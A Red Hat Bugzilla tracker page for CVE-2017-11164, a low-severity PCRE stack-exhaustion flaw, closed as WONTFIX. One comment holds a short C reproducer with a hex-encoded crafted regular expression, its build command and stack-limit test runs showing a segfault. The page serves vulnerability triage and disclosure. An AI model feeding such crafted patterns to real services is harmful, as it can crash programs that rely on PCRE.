Bug 1470107 - (CVE-2017-11164) CVE-2017-11164 pcre: OP_KETRMAX feature in the match function in pcre_exec.c
CVE-2017-11164 pcre: OP_KETRMAX feature in the match function in pcre_exec.c
Status: CLOSED WONTFIX
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
unspecified
All Linux
low Severity low
: ---
: ---
Assigned To: Red Hat Product Security
impact=low,public=20170710,reported=2...
: Security
Depends On: 1470108 1470109 1470110 1470112 1470113 1470111
Blocks:
  Show dependency treegraph
 
Reported: 2017-07-12 08:09 EDT by Andrej Nemec
Modified: 2017-07-17 05:32 EDT (History)
36 users (show)

See Also:
Fixed In Version:
Doc Type: If docs needed, set a value
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2017-07-12 08:10:36 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description Andrej Nemec 2017-07-12 08:09:35 EDT
In PCRE 8.41, the OP_KETRMAX feature in the match function in pcre_exec.c allows stack exhaustion (uncontrolled recursion) when processing a crafted regular expression.

References:

http://seclists.org/oss-sec/2017/q3/111
Comment 1 Andrej Nemec 2017-07-12 08:09:56 EDT
Created glib2 tracking bugs for this issue:

Affects: fedora-all [bug 1470109]


Created mingw-glib2 tracking bugs for this issue:

Affects: epel-7 [bug 1470110]
Affects: fedora-all [bug 1470113]


Created mingw-pcre tracking bugs for this issue:

Affects: epel-7 [bug 1470112]
Affects: fedora-all [bug 1470108]


Created pcre tracking bugs for this issue:

Affects: fedora-all [bug 1470111]
Comment 2 Petr Pisar 2017-07-17 05:32:00 EDT
PCRE uses stack-based recursive algorithm for matching by default. The reproducer:

#include <pcreposix.h>
int main(void) {
    regex_t regtmp;

    if(regcomp(&regtmp,
                "\x28\x61\x2A\x5C\x56\x2A\x5C\x43\x2B\x29\x2A\x6F\xE5\xA2\x80",
                REG_UTF8) == 0) {  
        regmatch_t pmatch[1];
        regexec(&regtmp, "\x6C\x6F\xE5\xA2\x80\x2D ", 1, pmatch, 0);
        regfree(&regtmp);
    }
    return 0;
}

compiled with:

$ gcc $(pcre-config --cflags-posix --libs-posix) test.c -O0 -g

requires around 58000 KB of stack:

# su - test -c 'ulimit -s 57000 && /tmp/a.out'
Segmentation fault (core dumped)
# su - test -c 'ulimit -s 58000 && /tmp/a.out'

In my opinion this is not a bug.

Note You need to log in before you can comment on or make changes to this bug.